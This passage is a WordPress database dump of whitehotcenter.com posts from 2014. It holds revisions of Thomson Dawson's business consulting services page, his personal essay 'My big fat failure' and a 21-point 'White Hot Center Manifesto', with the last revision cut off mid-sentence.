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(2658, 2, '2014-06-29 11:21:14', '2014-06-29 18:21:14', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and help you take your business to the next level of success."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs, Solo Professionals and Small Business Leaders</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are tirelessly working heads down in their business. Their days are usually consumed with the distracting detail of managing their current circumstances, few are innovating a strong foundation for their bigger better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important focus and mastery of creating new value for higher value customers and clients.\r\n<h3><strong>My passion is to inspire, guide and advise you and your team to focus on new ideas, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:</strong></h3>\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn''t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free from roadblocks  and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over a three-month period to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about this business transformation consulting can help you get to the next level of success in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Brand Strategy and Business Development Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges. Typically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of of consulting have annual revenue of $5-50milliom+.\r\n\r\nThere are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe workshop program includes a pre workshop assessment of the specific business development challenges you’re currently facing, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about how the One Day Brand Strategy Workshop can help you create a foundation for building the value of your brand in a conversation with Thomson.</a></em></span></h3>\r\n<h2> <strong>Why work with me?</strong></h2>\r\n<strong>Three decades of strategic business development expertise.</strong>\r\nI have nearly three decades of experience working with hundreds of executives in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success.\r\n\r\nFrom my own experience, I know first hand the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all entrepreneurs along their way to building a successful business.\r\n<h2>Allow me to help you gain the clarity and confidence to create the success you desire in your business and in your whole life!</h2>\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resources for their future success into all areas of their business.\r\n\r\nIndividual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking insight, knowledge and advise to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 - $50 million+ range.<em></em>\r\n<h1><em><a title="Work with Thomson dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson</a></em></h1>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2014-06-29 11:21:14', '2014-06-29 18:21:14', '', 138, 'http://www.whitehotcenter.com/2014/06/138-revision-218/', 0, 'revision', '', 0),
(2659, 2, '2014-06-29 11:23:59', '2014-06-29 18:23:59', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and help you take your business to the next level of success."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs, Solo Professionals and Small Business Leaders</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are tirelessly working heads down in their business. Their days are usually consumed with the distracting detail of managing their current circumstances, few are innovating a strong foundation for their bigger better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important focus and mastery of creating new value for higher value customers and clients.\r\n<h3><strong>My passion is to inspire, guide and advise you and your team to focus on new ideas, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:</strong></h3>\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn''t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free from roadblocks  and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over a three-month period to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about how business transformation consulting can help you get to the next level of success in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Brand Strategy and Business Development Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges. Typically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of of consulting have annual revenue of $5-50milliom+.\r\n\r\nThere are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe workshop program includes a pre workshop assessment of the specific business development challenges you’re currently facing, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more about how the One Day Brand Strategy Workshop can help you create a foundation for building the value of your brand in a conversation with Thomson.</a></em></span></h3>\r\n<h2> <strong>Why work with me?</strong></h2>\r\n<strong>Three decades of strategic business development expertise.</strong>\r\nI have nearly three decades of experience working with hundreds of executives in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success.\r\n\r\nFrom my own experience, I know first hand the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all entrepreneurs along their way to building a successful business.\r\n<h2>Allow me to help you gain the clarity and confidence to create the success you desire in your business and in your whole life!</h2>\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resources for their future success into all areas of their business.\r\n\r\nIndividual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking insight, knowledge and advise to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 - $50 million+ range.<em></em>\r\n<h1><em><a title="Work with Thomson dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson</a></em></h1>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2014-06-29 11:23:59', '2014-06-29 18:23:59', '', 138, 'http://www.whitehotcenter.com/2014/06/138-revision-219/', 0, 'revision', '', 0),
(2664, 2, '2014-07-07 18:51:39', '2014-07-08 01:51:39', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg"><img class="alignnone size-full wp-image-2665" title="failure" src="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg" alt="" width="495" height="312" /></a>\r\n<h1>Out of my own colossal failures, my purpose and passion for helping entrepreneurs create business success and personal achievement was born.</h1>\r\nIn my first decade as an entrepreneur and creative professional, I worked with single-minded determination to "arrive", and become a “made man” in my profession. I was going to be a success and failure never entered my mind.\r\n\r\nThrough hard work I was successful by all measure earning the respect of my employees, partners, clients and competitors. I was also married raising my family, living in a beautiful house on the right side of town. I was the picture of worldly success I had always dreamed of being and worked so hard to achieve.\r\n\r\nI was making money. I was a success!\r\n\r\nI’m not exactly sure when it began for me–the awareness of a distant voice and feeling telling me I had other work to do in life and was in the wrong place and doing the wrong work in the wrong business. I did not understand what was happening to me at that time. All I recall is doing all I could to ignore this distant voice beckoning me towards who knows what?\r\n\r\nDespite all my outward success, I felt empty, unsatisfied, yearning, with a nagging feeling of aimlessness and meaninglessness.  I never felt complete or whole about who I was, nor my real reason for being. I was never satisfied with the quality of the work I did for my clients, nor did I appreciate the good things that happened to me. I felt completely lost, but I trudged on, unwilling to be open to anything other than the  "make money, be successful in the world" value system I had thus far based my entire life on.\r\n\r\n<strong>I was in my early 40s when I first drummed up enough courage to follow a really crazy idea</strong>.\r\n\r\nWith growing apathy for my design business, I found myself being pulled back to music (a love since childhood). I began to write songs. Then I performed them, and recorded them. After a couple of years experimenting with this crazy idea, I opened a recording studio and design office in Nashville.  I was going to be a successful songwriter and creative impresario. At long last, I was going to create a successful business doing what I really loved! For the first time in my life I choose to follow my bliss.\r\n\r\nMany of my closest friends and colleagues, and especially my family, thought I was completely nuts. Many admired the "gutsy, bold move" but they still advised I was crazy taking such a big risk doing something that had little chance for success. Deep down inside I believed them.\r\n\r\nDespite my best game face, I was scared shitless the whole time... constantly worrying I wasn''t good enough, didn''t have the right connections, not enough money, and a deep belief that I was just kidding myself, the whole adventure was folly and I should be sensible and get back to my practical business that made money and kept everyone else who depended on me happy.\r\n\r\nAfter a year or so, operating with one foot on the gas and the other on the brake, I finally pulled up stakes and left the Nashville adventure with my tail between my legs.\r\n\r\nFor the first time I had experienced real devastating failure.\r\n\r\nIn the process I lost a ton of money, and more importantly, my belief and confidence in my ability to create what I wanted. I believed in my failure and it defined me for the next decade.\r\n<h2>Afraid to admit a change in my approach to life and business was necessary, I trudged on in my marketing communications and design business for several more years going through the motions, feeling resentment, pissed off and lame.</h2>\r\nMy heart was no longer in my business, but I was still making good money, which seemed to placate me enough to stay stuck in my confusion and misery, safe inside my little comfort zone.\r\n\r\nThen came the financial meltdown of the economy in the summer of 2007, Granted few entrepreneurs saw it coming. I was completely unprepared for such a devastating occurrence.\r\n\r\nIn its aftermath, I nearly went out of business, lost all of my retirement savings, my home was underwater, and I had accumulated significant debt keeping my business alive and helping my twin daughters get through college. I felt like Biblical Job, bewildered in a perfect storm of personal and economic calamity, asking in my righteousness "why me?”\r\n\r\nLike my Nashville debacle, the financial crisis was just more evidence I was a failure– a victim of circumstance, powerless to create the success I truly desired.\r\n\r\nI was 55 years old with a lifetime of hard work and not a thing to show for it. My entire life seemed like nothing more than a reflection of decades of failed half-assed schemes, lost money and bad timing.\r\n\r\n<strong>Finally, I reached my bottom. </strong>\r\n\r\nMore out of necessity rather than wisdom, there was nowhere for me to look but up–and that’s exactly what I did. In 2008, amidst unprecedented uncertainty, I made an irrevocable decision to never again allow “failure” to diminish my belief and capability to create new opportunity.\r\n\r\nIn the several years since that defining moment in my life, I made the commitment to elevate my creative thinking and strategic direction. I’ve spent the past few years re-learning, experimenting, and investing in new knowledge. From the inside out, I began to rebuild my self-esteem and confidence. I would never again beat myself at my own game.\r\n\r\nReframing my inner beliefs about my value and contribution, I was once again determined to pursue new business ideas–engaged in what mattered to me and would serve the good of others. The White Hot Center is but one expression of that commitment and creative reinvention.\r\n\r\nI continue to face challenges. There are obstacles. My resolve is tested daily. I don’t pretend to have it all figured out, but I have learned much from my so-called failures and I am grateful for their teachings:\r\n\r\n<em>Your current circumstances are the effect and result of a previous mindset.</em>\r\nIn my case, I believed in lack and limitation and was afraid to claim my right to pursue my ideas powered by my natural gifts and talents. Never let any failure define the level of your belief and confidence in yourself to create value in the world. Facts are far less important than the quality of your mindset.\r\n\r\n<em>Failure is fiction.</em>\r\nThere is no such thing as failure. It’s all in your head. Challenges will always present themselves and through them the path forward is revealed. Things sometimes don’t work out as planned. The winds of change will blow constant in every direction. There will never be the right time, the right idea, the right partner, or the right amount of resources. As long as you are alive and able to use all your mental faculties, there is only learning and growing. The entire universe operates on this principle.\r\n\r\n<em>True success is an inner game.</em>\r\nThere is no success outside yourself that can satisfy your inner thirst for meaning, satisfaction, fulfillment and contribution. Success is an attitude and a way of being in the world that enables you to use your natural gifts and talents to increase the good of others. When your focus is on the increase of others, your life experience increases in equal measure. No amount of outer success can overcome an inner belief of lack and limitation.\r\n\r\n<em>Embrace risk like a lover.</em>\r\nGrowth and expansion requires risking your safety and security. The price of any accomplishment, achievement and attainment will always include risking something you would rather not lose. Do it anyway. Whatever happens it will only serve your growth and advancement.\r\n\r\nAs Marcus Aurelius, the Roman philosopher and general said two thousand years ago, “what stands in the way becomes the way”.\r\n\r\nMy big fat failures were my greatest gifts.\r\n\r\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'My big fat failure.', 0, '', 'publish', 'open', 'open', '', 'my-big-fat-failure', '', '', '2014-07-07 18:51:39', '2014-07-08 01:51:39', '', 0, 'http://www.whitehotcenter.com/?p=2664', 0, 'post', '', 7),
(2663, 2, '2014-06-29 16:24:47', '2014-06-29 23:24:47', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles, or aims of a particular point of view.  </span></h2>\r\n<h2><span style="color: #ff6600;">Manifesto comes from the Latin word manifestus, which means to make obvious.  These 21 guiding principles form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in every area of your life.</span></h2>\r\n<h2><strong> </strong><strong>1 as you think, so it is</strong><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nall creation begins with your thoughts.</span></em></span></h2>\r\n<h1></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</span></em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must serve others</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">meaning + contribution = a life of significance.</span></em></span></h2>\r\n<h1></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin now with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, your future is right now!</span>\r\n</em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive\r\nin cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key\r\nto wealth.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you. Serve don''t sell.\r\n</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like a lover.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h2>\r\n<h2></h2>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2014-06-29 16:24:47', '2014-06-29 23:24:47', '', 136, 'http://www.whitehotcenter.com/2014/06/136-revision-44/', 0, 'revision', '', 0),
(2666, 2, '2014-07-07 18:35:44', '2014-07-08 01:35:44', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg"><img class="alignnone size-full wp-image-2665" title="failure" src="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg" alt="" width="495" height="312" /></a>\n<h1>Out of my own colossal failures, my purpose and passion for helping entrepreneurs create business success and personal achievement was born.</h1>\nIn my first decade as an entrepreneur and creative professional, I worked with single-minded determination to "arrive", and become a “made man” in my profession. I was going to be a success and failure never entered my mind.\n\nThrough hard work I was successful by all measure earning the respect of my employees, partners, clients and competitors. I was also married raising my family, living in a beautiful house on the right side of town. I was the picture of worldly success I had always dreamed of being and worked so hard to achieve.\n\nI was making money. I was a success!\n\nI’m not exactly sure when it began for me–the awareness of a distant voice and feeling telling me I had other work to do in life and was in the wrong place and doing the wrong work in the wrong business. I did not understand what was happening to me at that time. All I recall is doing all I could to ignore this distant voice beckoning me towards who knows what?\n\nDespite all my outward success, I felt empty, unsatisfied, yearning, with a nagging feeling of aimlessness and meaninglessness.  I never felt complete or whole about who I was, nor my real reason for being. I was never satisfied with the quality of the work I did for my clients, nor did I appreciate the good things that happened to me. I felt completely lost, but I trudged on, unwilling to be open to anything other than the  "make money, be successful in the world" value system I had thus far based my entire life on.\n\n<strong>I was in my early 40s when I first drummed up enough courage to follow a really crazy idea</strong>.\n\nWith growing apathy for my design business, I found myself being pulled back to music (a love since childhood). I began to write songs. Then I performed them, and recorded them. After a couple of years experimenting with this crazy idea, I opened a recording studio and design office in Nashville.  I was going to be a successful songwriter and creative impresario. At long last, I was going to create a successful business doing what I really loved! For the first time in my life I choose to follow my bliss.\n\nMany of my closest friends and colleagues, and especially my family, thought I was completely nuts. Many admired the "gutsy, bold move" but they still advised I was crazy taking such a big risk doing something that had little chance for success. Deep down inside I believed them.\n\nDespite my best game face, I was scared shitless the whole time... constantly worrying I wasn''t good enough, didn''t have the right connections, not enough money, and a deep belief that I was just kidding myself, the whole adventure was folly and I should be sensible and get back to my practical business that made money and kept everyone else who depended on me happy.\n\nAfter a year or so, operating with one foot on the gas and the other on the brake, I finally pulled up stakes and left the Nashville adventure with my tail between my legs.\n\nFor the first time I had experienced real devastating failure.\n\nIn the process I lost a ton of money, and more importantly, my belief and confidence in my ability to create what I wanted. I believed in my failure and it defined me for the next decade.\n<h2>Afraid to admit a change in my approach to life and business was necessary, I trudged on in my marketing communications and design business for several more years going through the motions, feeling resentment, pissed off and lame.</h2>\nMy heart was no longer in my business, but I was still making good money, which seemed to placate me enough to stay stuck in my confusion and misery, safe inside my little comfort zone.\n\nThen came the financial meltdown of the economy in the summer of 2007, Granted few entrepreneurs saw it coming. I was completely unprepared for such a devastating occurrence.\n\nIn its aftermath, I nearly went out of business, lost all of my retirement savings, my home was underwater, and I had accumulated significant debt keeping my business alive and helping my twin daughters get through college. I felt like Biblical Job, bewildered in a perfect storm of personal and economic calamity, asking in my righteousness "why me?”\n\nLike my Nashville debacle, the financial crisis was just more evidence I was a failure– a victim of circumstance, powerless to create the success I truly desired.\n\nI was 55 years old with a lifetime of hard work and not a thing to show for it. My entire life seemed like nothing more than a reflection of decades of failed half-assed schemes, lost money and bad timing.\n\n<strong>Finally, I reached my bottom. </strong>\n\nMore out of necessity rather than wisdom, there was nowhere for me to look but up–and that’s exactly what I did. In 2008, amidst unprecedented uncertainty, I made an irrevocable decision to never again allow “failure” to diminish my belief and capability to create new opportunity.\n\nIn the several years since that defining moment in my life, I made the commitment to elevate my creative thinking and strategic direction. I’ve spent the past few years re-learning, experimenting, and investing in new knowledge. From the inside out, I began to rebuild my self-esteem and confidence. I would never again beat myself at my own game.\n\nReframing my inner beliefs about my value and contribution, I was once again determined to pursue new business ideas–engaged in what mattered to me and would serve the good of others. The White Hot Center is but one expression of that commitment and creative reinvention.\n\nI continue to face challenges. There are obstacles. My resolve is tested daily. I don’t pretend to have it all figured out, but I have learned much from my so-called failures and I am grateful for their teachings:\n\n<em> </em>\n\n<em>Your current circumstances are the effect and result of a previous mindset. </em>\n\nIn my case, I believed in lack and limitation and was afraid to claim my right to pursue my ideas powered by my natural gifts and talents. Never let any failure define the level of your belief and confidence in yourself to create value in the world. Facts are far less important than the quality of your mindset.\n\n&nbsp;\n\n<em>Failure is fiction.</em>\n\nThere is no such thing as failure. It’s all in your head. Challenges will always present themselves and through them the path forward is revealed. Things sometimes don’t work out as planed. The winds of 